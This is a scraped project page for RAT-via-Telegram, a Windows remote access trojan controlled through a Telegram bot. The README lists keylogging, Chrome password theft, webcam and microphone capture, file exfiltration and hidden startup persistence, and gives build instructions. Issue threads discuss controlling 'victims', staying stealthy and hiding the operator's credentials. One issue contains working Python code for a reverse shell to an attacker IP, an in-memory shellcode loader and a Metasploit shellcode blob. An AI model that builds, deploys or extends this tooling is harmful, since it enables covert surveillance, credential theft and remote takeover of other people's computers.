Code Monkey home page Code Monkey logo

rat-via-telegram's Introduction

RAT-via-Telegram

Build Status Made with Python

Windows Remote Administration Tool via Telegram (now in Python 3.7!) | Originally created by Ritiek

Why another one?

  • The current Remote Administration Tools in the market face 2 major problems:

    • Lack of encryption.
    • Require port forwarding in order to control from hundreds of miles.
  • This RAT overcomes both these issues by using the Telegram bot API.

    • Fully encrypted. The data being exchanged cannot be spied upon using MITM tools.
    • Telegram messenger app provides a simple way to communicate to the target without configuring port forward before hand on the target.

Features:

  • Keylogger with window title log included
  • Get target PC's Windows version, processor and more
  • Get target PC's IP address information and approximate location on map
  • Delete, Move files
  • Show current directory
  • Change current directory
  • List current or specified directory
  • Download any file from the target
  • Upload local files to the target. Send your image, pdf, exe or anything as file to the Telegram bot
  • Autostart playing a video in fullscreen and no controls for a youtube video on target
  • Take Screenshots
  • Execute any file
  • Access to microphone
  • Start HTTP Proxy Server
  • Freeze target's keyboard
  • Schedule tasks to run at specified datetime
  • Encode/Decode all local files
  • Ping targets
  • Update .exe -- thanks LearnerZone
  • Self-Destruct RAT
  • Change wallpaper from file or url
  • Execute cmd shell
  • Take snapshots from the webcam (if attached)
  • Execute arbitrary python 3.7 on the go
  • Freeze target's mouse
  • [TODO] Browser (IE, Firefox, Chrome) cookies retrieval
  • [TODO] Password retrieval
  • [TODO] Monitor web traffic (graphically?)
  • [TODO] Bandwidth monitoring (stepping stone to web traffic monitoring) - started 28/10/2018
  • [TODO] Fine-tuning scripting (i.e.: if app x is opened y is executed)
  • [TODO] Capture clipboard (Text, Image)
  • [TODO] Hide desktop icons
  • [TODO] Audio compression
  • [TODO] Name server lookup (/nslookup - #19)

Thanks Dviros:

  • Chrome login/password retrieval
  • Display ARP table
  • Get active processes and services
  • Shutdown/Reboot computer
  • Display DNS Cache

& More coming soon!

Screenshots:

Installation & Usage:

  • Clone this repository.
  • Set up a new Telegram bot talking to the BotFather.
  • Copy this token and replace it in the beginning of the script.
  • Run compile.py
    • Generates an executable binary
  • To run the script: python RATAttack.py.
  • Find your bot on telegram and send some command to the bot to test it.
  • To restrict the bot so that it responds only to you, note down your chat_id from the console and replace it in the script and comment out the line return True. Don't worry, you'll know when you read the comments in the script.

  • A folder named RATAttack will be created in your working directory containing keylogs.txt and any files you upload to the bot.

Commands:

When using the below commands; use / as a prefix. For example: /pc_info.

arp - display arp table
capture_pc - screenshot PC
cmd_exec - execute shell command
cp - copy files
cd - change current directory
delete - delete a file/folder
download - download file from target
decode_all - decode ALL encoded local files
dns - display DNS Cache
encode_all - encode ALL local files
freeze_keyboard - enable keyboard freeze
unfreeze_keyboard - disable keyboard freeze
get_chrome - Get Google Chrome's login/passwords
hear - record microphone
ip_info - via ipinfo.io
keylogs - get keylogs
ls - list contents of current or specified directory
msg_box - display message box with text
mv - move files
pc_info - PC information
ping - makes sure target is up
play - plays a youtube video
proxy - opens a proxy server
pwd - show current directory
python_exec - interpret python
reboot - reboot computer
run - run a file
schedule - schedule a command to run at specific time
self_destruct - destroy all traces
shutdown - shutdown computer
tasklist - display services and processes running
to - select targets by it's name
update - update executable
wallpaper - change wallpaper

You can copy the above to update your command list via BotFather so you don't have to type them manually.

Compiling:

How To Compile:

  • Run compile.py. You can also pass --icon=<path/to/icon.ico> to use a custom icon. If you want to use UPX for compression, you can add --upx-dir [upx-3.95-win64 | upx-3.96-win32], depending on your architecture. You can skip this last option if you have UPX in your PATH environment variable.
  • Once it is compiled successfully, find the .exe file in C:/Python37/Scripts/dist/ or the current directory, depending on where you called it from.
  • BEWARE! If you run the compiled .exe, the script will move itself to startup and start with your PC to run at startup. You can return to normal by using the /self_destruct option or manually removing %APPDATA%/Portal directory and %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/portal.lnk.

Modifying Settings:

  • You can also modify the name of hidden .exe file and location and name of the folder where the hidden .exe will hide itself. To do this; modify compiled_name and hide_folder respectively.
  • Assign your known chat ids to beginning of RATAttack.py

Contributing:

  • This project is still in very early stages, so you can expect some bugs. Please feel free to report them! Even better, send a pull request :)
  • Any new features and ideas are most welcome! Please do submit feature requests by creating Issues
  • Branch protection is enabled on master. You must work in an alternate branch (e.g. dev) and make a PR. This is to ensure that master has a working and approved version of RvT.

Credit

A markdown file with credits: Credit file

People with PRs:

Dependency owners: A load of people who turn coffee to code

Original creator:

Disclaimer:

This tool is supposed to be used only on authorized systems. Any unauthorized use of this tool without explicit permission is illegal.

License:

The MIT License

rat-via-telegram's People

Contributors

dudeisbrendan03 avatar mvrozanti avatar ritiek avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

rat-via-telegram's Issues

/play error occurred

Hi,

issued the /play command and the browser on the target opens a new tab and it seems like a video is about to play but you only see the play button and nothing else happens.

image

/get_chrome not working

callback(item)

File "C:\1111\rat.py", line 600, in handle
responses = split_string(4096, response)
File "C:\1111\rat.py", line 184, in split_string
for i in str(st):
UnicodeEncodeError: 'ascii' codec can't encode characters in position 6628-6631:
ordinal not in range(128)

Smaller EXE size

Pyinstaller makes 13mb EXE file, this is a big negative for any RAT, squeezing the file-size by removing unnecessary files would be a good upgrade.

New features

Hey dude, I've added new features:

  1. Migrated to the new telepot messageloop function (old one was deprecated).
  2. Shutdown and reboot
  3. NSLOOKUP
  4. DNS_Cache

Dviros@a23fa15

Also, can you please add me as a contributer?
Thanks a lot!

Add to startup on various versions of Windows

This issue is dedicated to show what circumstances cause a specific version, architecture and/or AV to not add the RAT to the startup. This is where to post it.

I've not seen anybody complain but I just had it happen to me on Win7 after installing, uninstalling (/self_destruct) and trying to install again.

Removing registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupfolder worked but that's HKLM.

Keylogger not working...

All I have as keylogs is this:

-------------------------------------------------
WIN7 Log: May 21@16:15

-------------------------------------------------
WIN7 Log: May 21@16:16

Tested on Windows 7 x 64, NO AV installed???

Wrong line commented out in RATAttack.py at line 33: token = os.environ['RAT_TOKEN']

Looks like the provided RATAttack.py script has the wrong line accidentally commented out. Looks like:

31 # REPLACE THE LINE BELOW WITH THE TOKEN OF THE BOT YOU GENERATED!
32 #token = 'nnnnnnnnn:lllllllllllllllllllllllllllllllllll'
33 token = os.environ['RAT_TOKEN'] # you can set your environment variable as well

Should be:

31 # REPLACE THE LINE BELOW WITH THE TOKEN OF THE BOT YOU GENERATED!
32 token = 'nnnnnnnnn:lllllllllllllllllllllllllllllllllll'
33 #token = os.environ['RAT_TOKEN'] # you can set your environment variable as well

Dont work download function

When I use the download command, it always says that the file was not found, but the file is there.
1 attemp
/download C:/test/1.bmp

Could not find 1.bmp

2 attemp

/cd c:\\
/cd test
/ls

1.bmp

/download 1.bmp

Could not find 1.bmp

2018-02-11_23-37-09

Self-update

This should be a priority functionality so new features can be pushed easily, here is how I am doing this. I am sure this can be improved drastically. I upload two files, 'helper.exe' (The code below) and 'updated.exe' (the new version of the RAT) and then execute 'helper.exe'.

import psutil
import os
import sys

appdata_roaming_folder = os.environ['APPDATA']	# = 'C:\Users\Username\AppData\Roaming'
hide_folder = appdata_roaming_folder + r'\Portal'

PROCNAME = "Portal.exe"

for proc in psutil.process_iter():
    # check whether the process name matches
    if proc.name() == PROCNAME:
        proc.kill()
os.rename(hide_folder + '\\' + PROCNAME,hide_folder + '\\' + 'Portal.exe.bak')
os.rename(hide_folder + '\\updated.exe',hide_folder + '\\Portal.exe')
os.system(hide_folder + '\\Portal.exe')
sys.exit()

i got no response

hello
the rat just sent me WIN-U5QJA0FL2P8: I'm up.

other commands not working

Failed to execute script RATattack

hi guys! need a help. whats wrong with my compilation?

screenshot_3

Logs:

C:\Users\Ubop\Desktop\RAT-via-Telegram-master\RAT-via-Telegram-master>pyinstaller
--onefile --noconsole --icon=icon.ico RATAttack.py
115 INFO: PyInstaller: 3.3.1
116 INFO: Python: 2.7.15
116 INFO: Platform: Windows-7-6.1.7601-SP1
117 INFO: wrote C:\Users\Ubop\Desktop\RAT-via-Telegram-master\RAT-via-Telegram-ma
ster\RATAttack.spec
119 INFO: UPX is not available.
121 INFO: Extending PYTHONPATH with paths
['C:\Users\Ubop\Desktop\RAT-via-Telegram-master\RAT-via-Telegram-master',
'C:\Users\Ubop\Desktop\RAT-via-Telegram-master\RAT-via-Telegram-master']
121 INFO: checking Analysis
320 INFO: checking PYZ
393 INFO: checking PKG
476 INFO: Building because upx_binaries changed
476 INFO: Building PKG (CArchive) out00-PKG.pkg
553 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 3072
9, 6161)
555 INFO: Updating manifest in C:\Users\Ubop\AppData\Roaming\pyinstaller\bincache
00_py27_64bit\python27.dll
555 INFO: Updating resource type 24 name 2 language 1033
648 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 3072
9, 6161)
648 INFO: Redirecting Microsoft.VC90.MFC version (9, 0, 21022, 8) -> (9, 0, 3072
9, 6161)
652 INFO: Updating manifest in C:\Users\Ubop\AppData\Roaming\pyinstaller\bincache
00_py27_64bit\win32ui.pyd
653 INFO: Updating resource type 24 name 2 language 1033
867 INFO: Updating manifest in C:\Users\Ubop\AppData\Roaming\pyinstaller\bincache
00_py27_64bit\mfc90.dll
877 INFO: Updating resource type 24 name 1000 language 1033
948 INFO: Updating manifest in C:\Users\Ubop\AppData\Roaming\pyinstaller\bincache
00_py27_64bit\mfc90u.dll
956 INFO: Updating resource type 24 name 1000 language 1033
1005 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 307
29, 6161)
1007 INFO: Updating manifest in C:\Users\Ubop\AppData\Roaming\pyinstaller\bincach
e00_py27_64bit\tcl85.dll
1008 INFO: Updating resource type 24 name 2 language 1033
1037 INFO: Updating manifest in C:\Users\Ubop\AppData\Roaming\pyinstaller\bincach
e00_py27_64bit\tk85.dll
1039 INFO: Updating resource type 24 name 1 language 1033
1048 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 307
29, 6161)
1050 INFO: Updating manifest in C:\Users\Ubop\AppData\Roaming\pyinstaller\bincach
e00_py27_64bit\tk85.dll
1051 INFO: Updating resource type 24 name 2 language 1033
1150 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 307
29, 6161)
7849 INFO: Building PKG (CArchive) out00-PKG.pkg completed successfully.
8107 INFO: Bootloader c:\python27\lib\site-packages\PyInstaller\bootloader\Windo
ws-64bit\runw.exe
8108 INFO: checking EXE
8121 INFO: Building because icon changed
8122 INFO: Building EXE from out00-EXE.toc
8132 INFO: SRCPATH [('icon.ico', None)]
8133 INFO: Updating icons from ['icon.ico'] to c:\users\max\appdata\local\temp\t
mpziaf4v
8134 INFO: Writing RT_GROUP_ICON 0 resource with 132 bytes
8134 INFO: Writing RT_ICON 1 resource with 19308 bytes
8134 INFO: Writing RT_ICON 2 resource with 67624 bytes
8136 INFO: Writing RT_ICON 3 resource with 38056 bytes
8137 INFO: Writing RT_ICON 4 resource with 21640 bytes
8137 INFO: Writing RT_ICON 5 resource with 16936 bytes
8138 INFO: Writing RT_ICON 6 resource with 9640 bytes
8139 INFO: Writing RT_ICON 7 resource with 4264 bytes
8139 INFO: Writing RT_ICON 8 resource with 2440 bytes
8140 INFO: Writing RT_ICON 9 resource with 1128 bytes
8144 INFO: Appending archive to EXE C:\Users\Ubop\Desktop\RAT-via-Telegram-master
\RAT-via-Telegram-master\dist\RATAttack.exe
8240 INFO: Building EXE from out00-EXE.toc completed successfully.

shows this error, when I run *.exe file

KeyError

keyerror

Perhaps I did something wrong setting it all up with Python and stuff but this is the error I got..

Traceback (most recent call last):

C:\Users\hamza\Pictures\RAT-via-Telegram-master\RAT-via-Telegram-master>python RATAttack.py
Traceback (most recent call last):
File "RATAttack.py", line 35, in
token = os.environ['RAT_TOKEN'] # you can set your environment variable as well
File "C:\Python27\lib\os.py", line 425, in getitem
return self.data[key.upper()]
KeyError: 'RAT_TOKEN'

C:\Users\hamza\Pictures\RAT-via-Telegram-master\RAT-via-Telegram-master>python RATAttack.py
Traceback (most recent call last):
File "RATAttack.py", line 35, in
token = os.environ['RAT_TOKEN'] # you can set your environment variable as well
File "C:\Python27\lib\os.py", line 425, in getitem
return self.data[key.upper()]
KeyError: 'RAT_TOKEN'

Bypass permission pop up on /proxy

I just keep playing with the commands to learn how to use them and what they do, that's the benefit of having my laptop which I made a 'slave' and can test things on.

So I issued the /proxy command to see what it does (still don't know why you want to open a proxy on a slave though) and a window popped up on the slave. Here's an image, it asked for permission.

It says Windows Firewall has terminated certain parts of 'The RAT' on all private and public networks. You would then have to grant permission.

image

Keylogs problem

After starting the server this log is spill:

File "C:\Python37\lib\ctypes_init_.py", line 63, in create_string_buffer
raise TypeError(init)

The lines of codes that the log complains about it:

118> executable = ctypes.create_string_buffer("\x00" * 512)
...
134> data = get_curr_window()
...

Script shows error message when no internet connection on startup

On computer startup/first-run if there is no internet connection a script execution failure error message-box is shown, this blows-away the RAT's stealth capability.

We should check the internet connectivity on startup and either keep looping until a connection is available or exit the script to avoid any display f message-box. Something like the code below (untested) should fix this:

#check internet connectivity and keep looping
while True:
	try:
		socket.create_connection(("www.google.com", 80))
		break
	except socket.error:
		time.sleep(3);

Bad HTTP Response

I get so many similar errors:

BadHTTPResponse: (404, u'<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">\n<html><head>\n<title>404 Not Found</title>\n</head><body>\n<h1>Not Found</h1>\n<p>The requested URL /bot(my token)/getUpdates was not found on this server.</p>\n<hr>\n<address>Apache/2.2.15 (CentOS) Server at api.telegram.org Port 443</address>\n</body></html>\n', <urllib3.response.HTTPResponse object at 0x041EB150>)
Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\telepot\__init__.py", line 1183, in get_from_telegram_server
    allowed_updates=allowed_upd)
  File "C:\Python27\lib\site-packages\telepot\__init__.py", line 1000, in getUpdates
    return self._api_request('getUpdates', _rectify(p))
  File "C:\Python27\lib\site-packages\telepot\__init__.py", line 491, in _api_request
    return api.request((self._token, method, params, files), **kwargs)
  File "C:\Python27\lib\site-packages\telepot\api.py", line 155, in request
    return _parse(r)
  File "C:\Python27\lib\site-packages\telepot\api.py", line 136, in _parse
    raise exception.BadHTTPResponse(response.status, text, response)
BadHTTPResponse: (404, u'<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">\n<html><head>\n<title>404 Not Found</title>\n</head><body>\n<h1>Not Found</h1>\n<p>The requested URL /bot(my token)/getUpdates was not found on this server.</p>\n<hr>\n<address>Apache/2.2.15 (CentOS) Server at api.telegram.org Port 443</address>\n</body></html>\n', <urllib3.response.HTTPResponse object at 0x041EBC10>)
Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\telepot\__init__.py", line 1183, in get_from_telegram_server
    allowed_updates=allowed_upd)
  File "C:\Python27\lib\site-packages\telepot\__init__.py", line 1000, in getUpdates
    return self._api_request('getUpdates', _rectify(p))
  File "C:\Python27\lib\site-packages\telepot\__init__.py", line 491, in _api_request
    return api.request((self._token, method, params, files), **kwargs)
  File "C:\Python27\lib\site-packages\telepot\api.py", line 155, in request
    return _parse(r)
  File "C:\Python27\lib\site-packages\telepot\api.py", line 136, in _parse
    raise exception.BadHTTPResponse(response.status, text, response)
BadHTTPResponse: (404, u'<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">\n<html><head>\n<title>404 Not Found</title>\n</head><body>\n<h1>Not Found</h1>\n<p>The requested URL /bot(my token)/getUpdates was not found on this server.</p>\n<hr>\n<address>Apache/2.2.15 (CentOS) Server at api.telegram.org Port 443</address>\n</body></html>\n', <urllib3.response.HTTPResponse object at 0x041EE950>)
Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\telepot\__init__.py", line 1183, in get_from_telegram_server
    allowed_updates=allowed_upd)
  File "C:\Python27\lib\site-packages\telepot\__init__.py", line 1000, in getUpdates
    return self._api_request('getUpdates', _rectify(p))
  File "C:\Python27\lib\site-packages\telepot\__init__.py", line 491, in _api_request
    return api.request((self._token, method, params, files), **kwargs)
  File "C:\Python27\lib\site-packages\telepot\api.py", line 155, in request
    return _parse(r)
  File "C:\Python27\lib\site-packages\telepot\api.py", line 136, in _parse
    raise exception.BadHTTPResponse(response.status, text, response)
BadHTTPResponse: (404, u'<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">\n<html><head>\n<title>404 Not Found</title>\n</head><body>\n<h1>Not Found</h1>\n<p>The requested URL /bot(my token)/getUpdates was not found on this server.</p>\n<hr>\n<address>Apache/2.2.15 (CentOS) Server at api.telegram.org Port 443</address>\n</body></html>\n', <urllib3.response.HTTPResponse object at 0x041EE0F0>)

Features req

hi good job bro thank to you
Features req:
1: multi victims control it can done by add function to change main token by another token
main toke can have a settoken buttom to redirect rat to another bot for control it
2: remote desktop vnc
thank for your time

1 rat = 1bot ?

@mvrozanti hi! once again tnx for this wonderful rat.

for example: i have 2 victims: Do I need to compile for those victims 2 different rats? or I can use 1 rat, with same bot token?

rat stop after send /tasklist command

hi agin i love your rat. it can be the best by your work! most amazing rat by your name
rat stop working after send /tasklist commend and dont work anymore
win 10 10.0.16299

get_chrome don't work

`

(most recent call last):
File "C:\Python27\lib\site-packages\telepot_init_.py", line 1158, in collector
callback(item)
File "scvhost.py", line 332, in handle
cursor.execute("SELECT origin_url,username_value,password_value from logins;")
OperationalError: database is locked

`
you can use Radium_keylogger for this one

keylogs does not work correctly?

when I send the command / keylogs, the .user file comes with the following content, there are a lot of such lines, there are no other data

Admin Log: Feb 11@22:50

DEBUG:urllib3.util.retry:Converted retries value: 3 -> Retry(total=3, connect=None, read=None, redirect=0, status=None)
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): api.telegram.org
DEBUG:urllib3.util.retry:Converted retries value: 3 -> Retry(total=3, connect=None, read=None, redirect=0, status=None)
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (2): api.telegram.org
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /botDELETE/sendMessage HTTP/1.1" 400 73
DEBUG:urllib3.util.retry:Converted retries value: 3 -> Retry(total=3, connect=None, read=None, redirect=0, status=None)
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /botDELETE/sendMessage HTTP/1.1" 400 73
DEBUG:urllib3.util.retry:Converted retries value: 3 -> Retry(total=3, connect=None, read=None, redirect=0, status=None)
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /botDELETE/sendMessage HTTP/1.1" 400 73
DEBUG:urllib3.util.retry:Converted retries value: 3 -> Retry(total=3, connect=None, read=None, redirect=0, status=None)
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /botDELETE/sendMessage HTTP/1.1" 400 73
DEBUG:urllib3.util.retry:Converted retries value: 3 -> Retry(total=3, connect=None, read=None, redirect=0, status=None)
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /botDELETE/sendMessage HTTP/1.1" 400 73
DEBUG:urllib3.util.retry:Converted retries value: 3 -> Retry(total=3, connect=None, read=None, redirect=0, status=None)
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /botDELETE/sendMessage HTTP/1.1" 400 73
DEBUG:urllib3.util.retry:Converted retries value: 3 -> Retry(total=3, connect=None, read=None, redirect=0, status=None)
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /botDELETE/sendMessage HTTP/1.1" 400 73
DEBUG:urllib3.util.retry:Converted retries value: 3 -> Retry(total=3, connect=None, read=None, redirect=0, status=None)
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /botDELETE/sendMessage HTTP/1.1" 400 73
DEBUG:urllib3.util.retry:Converted retries value: 3 -> Retry(total=3, connect=None, read=None, redirect=0, status=None)
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /botDELETE/sendMessage HTTP/1.1" 400 73
DEBUG:urllib3.util.retry:Converted retries value: 3 -> Retry(total=3, connect=None, read=None, redirect=0, status=None)
DEBUG:urllib3.connectionpool:https://api.telegram.org:443 "POST /botDELETE/sendMessage HTTP/1.1" 400 73

Hide_folder should be deleted on /self_destruct

After compiling the .exe and running it on a test system, it shows me a console window with all the commands. This is a serious bug, everything should be hidden!!!

sshot-2

Also, for some strange reasons exe is not getting copied to the AppData folder and no startup entries are created after I downloaded the latest git version, this worked ok with earlier copy of mine???

How to run it in Linux?

Hi guys! tnx for this awesome RAT! have an issue, how to run it in Linux? Does this RAT support a linux platform? or only windows?

Logs:

pip install pyHook-1.5.1-cp27-cp27m-win_amd64.whl
pyHook-1.5.1-cp27-cp27m-win_amd64.whl is not a supported wheel on this platform.

pip install pyHook
Collecting pyHook
Could not find a version that satisfies the requirement pyHook (from versions: )
No matching distribution found for pyHook

python RATAttack.py
Traceback (most recent call last):
File "RATAttack.py", line 4, in
from PIL import ImageGrab # /capture_pc
File "/usr/lib/python2.7/dist-packages/PIL/ImageGrab.py", line 22, in
raise ImportError("ImageGrab is macOS and Windows only")
ImportError: ImageGrab is macOS and Windows only

pyaudio error

C:\Users\Vinicius\Desktop\RAT>python RATAttack.py
Traceback (most recent call last):
File "RATAttack.py", line 26, in
import pyaudio, wave # /hear
ModuleNotFoundError: No module named 'pyaudio'

Android support?

The best thing you can make is Android rat support with webcam snaps, mic recording, download of images from devices memory, geolocate and mic streaming and keylogger.

After setting chat_id the bot stops to response

I get my chat_id, put in knows_ids list and after that the bots says: "DESKTOP-01: I'm up." DESKTOP-01 is my pc that are running the server, but i can't send nothing for him... What I'm doing wrong?

Linux compiling

Just tried to install necessary modules for RAT, and got an error with pywin32. Isn't it installing 'cause of Linux?

Using inside a closed network + proxy

Hey dude,
I'm running the script inside a closed network that gets outside with a proxy (squid) machine.
During the initialization, It's seems that the RAT is actually connected to the telegram API with a 443 connection, however, messages do not get inside and outside.

  1. Do you have an idea how to monitor the actual traffic?
  2. Do you have an idea how to get outside?

Thanks!

Run Time Error

File "RATAttack.py", line 35, in
token = os.environ['RAT_TOKEN'] # you can set your environment variable as well
File "C:\Python27\lib\os.py", line 425, in getitem
return self.data[key.upper()]
KeyError: 'RAT_TOKEN'

Keylogs

Hi,

sent the /keylogs command and the bot spits out a .txt file but there isn't much to read..

image

SyntaxError: Missing parentheses in call to 'print'

Got these errors while executing RATattack.py on windows7

File "D:\HACK\RAT\Windows\RAT-via-Telegram-update\RATAttack.py", line 138
print tofile
SyntaxError: Missing parentheses in call to 'print'

any idea?

/nslookup

not work /dns /nslookup /tasklist

The bot hangs and has to restart it

hear not working

just buzzzzz and also whenever i play mouthlog.wav crashes telegram
i have to save it to music and then listen it so please help

KeyError: 'RAT_TOKEN'

Hi guys, need a help!
When i run python RATAttack.py, i have this errors:

python RATAttack.py
Traceback (most recent call last):
File "RATAttack.py", line 35, in
token = os.environ['RAT_TOKEN'] #you can set your environment variable as well
File "C:\Python27\lib\os.py", line 425, in getitem
return self.data[key.upper()]
KeyError: 'RAT_TOKEN'

so my telegram bot does not respond :( sos, pls help

How to secure telegram bot credentials inside payload?

I searched online for some knowledge on reverse engineering of an pyinstaller compiled exe to reach to the source code. My question is that how hard is it to reverse engineer the exe and reach to the attacker who did all this after all once we know the source code behind the exe we know the chat_id and with that anyone can see who did this. Also does UPX compression play a role in encrypting the exe after being compiled by pyinstaller?

Thanks anyway

Why is /self_destruct not working

Why is freeze_keyboard
freeze_mouse doesn't respond
Is it because of this
destroy = False keyboardFrozen = False mouseFrozen = False curr_window = None

please add reverse shell and shellcode and Upload

example :

import base64
import ctypes
import os
import re
import socket
import subprocess
import urllib2
import pprint
import sys
import time

elif type_command == "shellcode":
response_shellcode = execute_shellcode(argument_command)
send_message(response_shellcode)

elif type_command == "reverseshell":
ip, port = argument_command.split()
reverse_shell(ip, port)

def parse_command(cmd):
if cmd.startswith('/'):

if "shellcode " in cmd:
shellcode = cmd[len('/shellcode '):]
return ("shellcode", shellcode)

elif "upload" in cmd:
return ("upload", "Null")

elif "reverseshell" in cmd:
ip_port = cmd[len('/reverseshell '):]
return ("reverseshell", ip_port)

def reverse_shell(ip, port):
child_pid = os.fork()

if child_pid:
    print ip, port
    try:
        sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sockfd.connect((ip, int(port)))
        while True:
            data = sockfd.recv(1024)
            if data == "exit\n":
                sockfd.send("[!] Exiting the reverse shell.\n")
                break

            comm = subprocess.Popen(data, shell=True,
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.PIPE,
                                    stdin=subprocess.PIPE)
            STDOUT, STDERR = comm.communicate()
            sockfd.send(STDOUT)
            sockfd.send(STDERR)
    except Exception:
        pass

    sockfd.close()
    sys.exit(0)
    return  # NEVER REACHED
else:
    return

def execute_shellcode(msg):
if "Windows" not in platform.system():
return "[!] Currently this functionality is only available for Windows platforms."
else:
# based on Debasish Mandal's "Execute ShellCode Using Python"
# http://www.debasish.in/2012/04/execute-shellcode-using-python.html
shellcode = bytearray(base64.b64decode(msg))

    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                              ctypes.c_int(len(shellcode)),
                                              ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))

    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                         buf,
                                         ctypes.c_int(len(shellcode)))

    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                             ctypes.c_int(0),
                                             ctypes.c_int(ptr),
                                             ctypes.c_int(0),
                                             ctypes.c_int(0),
                                             ctypes.pointer(ctypes.c_int(0)))

    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
                                               ctypes.c_int(-1))

    return "[*] Shellcode (%d bytes) executed in memory." % len(shellcode)

elif type_command == "upload":
send_message(uploadfunctionality_message)

elif content_type == 'document':
file_id = msg['document']['file_id']
filename = msg['document']['file_name']
final_filename = filename

    if not os.path.exists('./uploads'):
        try:
            os.makedirs('./uploads')
            final_filename = './uploads/' + filename
        except OSError as err:
            err_msg = "[!] ERROR: Could not create directory ./uploads. Saving in the current directory."
            send_message(err_msg)

    bot.downloadFile(file_id, final_filename)

shellcode example only;

#!/usr/bin/python
import base64

ShellCode

x86/shikata_ga_nai succeeded with size 227 (iteration=1)

Metasploit windows/exec calc.exe

raw_shellcode = bytearray(
"\xdb\xc3\xd9\x74\x24\xf4\xbe\xe8\x5a\x27\x13\x5f\x31\xc9"
"\xb1\x33\x31\x77\x17\x83\xc7\x04\x03\x9f\x49\xc5\xe6\xa3"
"\x86\x80\x09\x5b\x57\xf3\x80\xbe\x66\x21\xf6\xcb\xdb\xf5"
"\x7c\x99\xd7\x7e\xd0\x09\x63\xf2\xfd\x3e\xc4\xb9\xdb\x71"
"\xd5\x0f\xe4\xdd\x15\x11\x98\x1f\x4a\xf1\xa1\xd0\x9f\xf0"
"\xe6\x0c\x6f\xa0\xbf\x5b\xc2\x55\xcb\x19\xdf\x54\x1b\x16"
"\x5f\x2f\x1e\xe8\x14\x85\x21\x38\x84\x92\x6a\xa0\xae\xfd"
"\x4a\xd1\x63\x1e\xb6\x98\x08\xd5\x4c\x1b\xd9\x27\xac\x2a"
"\x25\xeb\x93\x83\xa8\xf5\xd4\x23\x53\x80\x2e\x50\xee\x93"
"\xf4\x2b\x34\x11\xe9\x8b\xbf\x81\xc9\x2a\x13\x57\x99\x20"
"\xd8\x13\xc5\x24\xdf\xf0\x7d\x50\x54\xf7\x51\xd1\x2e\xdc"
"\x75\xba\xf5\x7d\x2f\x66\x5b\x81\x2f\xce\x04\x27\x3b\xfc"
"\x51\x51\x66\x6a\xa7\xd3\x1c\xd3\xa7\xeb\x1e\x73\xc0\xda"
"\x95\x1c\x97\xe2\x7f\x59\x67\xa9\x22\xcb\xe0\x74\xb7\x4e"
"\x6d\x87\x6d\x8c\x88\x04\x84\x6c\x6f\x14\xed\x69\x2b\x92"
"\x1d\x03\x24\x77\x22\xb0\x45\x52\x41\x57\xd6\x3e\xa8\xf2"
"\x5e\xa4\xb4")

shellcode = base64.b64encode(raw_shellcode)
print shellcode

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

